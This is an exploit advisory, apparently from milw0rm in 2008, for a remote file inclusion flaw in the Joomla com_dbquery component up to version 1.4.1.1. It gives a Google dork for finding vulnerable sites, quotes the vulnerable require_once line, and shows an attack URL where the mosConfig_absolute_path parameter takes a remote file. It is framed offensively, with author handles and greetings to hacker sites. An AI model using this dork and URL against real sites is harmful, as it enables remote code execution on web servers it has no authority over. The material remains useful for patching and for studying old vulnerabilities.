Joomla Component DBQuery <= 1.4.1.1 RFI Vulnerability

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@JOOmla com_dbquery Remote file Inclusion@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@ Author:SsEs @@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@ Contact:h4cks.in@gmail.com @@@@@@@@@@@@@@@@@ Greetss: www.h4cks.in ||| www.1919turk.org || www.illegalsecurity.us ||| www.siberaskerler.org || @@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@ Dork: inurl:&#34;com_dbquery&#34; OR &#34;index.php?option=com_dbquery&#34; @@@@@@@@@@@@@@@@@ **Bug: @@@@@@@@@@@@@@@@@ administrator\components\com_dbquery\classes\DBQ\admin\common.class.php on line 6 @@@@@@@@@@@@@@@@@ global $mosConfig_absolute_path; @@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@ require_once($mosConfig_absolute_path.’/components/com_dbquery/classes/DBQ/common.class.php’); @@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@ http://sitename.com/administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path= @@@@@@@@@@@@@@@@@ side note: &#60;name&#62;DBQuery&#60;/name&#62; &#60;creationDate&#62;February 2007&#60;/creationDate&#62; &#60;author&#62;Green Mountain Information Technology Consulting&#60;/author&#62; &#60;copyright&#62;This component is released under the GNU/GPL License&#60;/copyright&#62; &#60;authorEmail&#62;consulting@gmitc.biz&#60;/authorEmail&#62; &#60;authorUrl&#62;http://www.gmitc.biz&#60;/authorUrl&#62; &#60;version&#62;1.4.1 Final&#60;/version&#62; &#60;description&#62;Database Query is a Joomla query manager.&#60;/description&#62; # milw0rm.com [2008-07-04]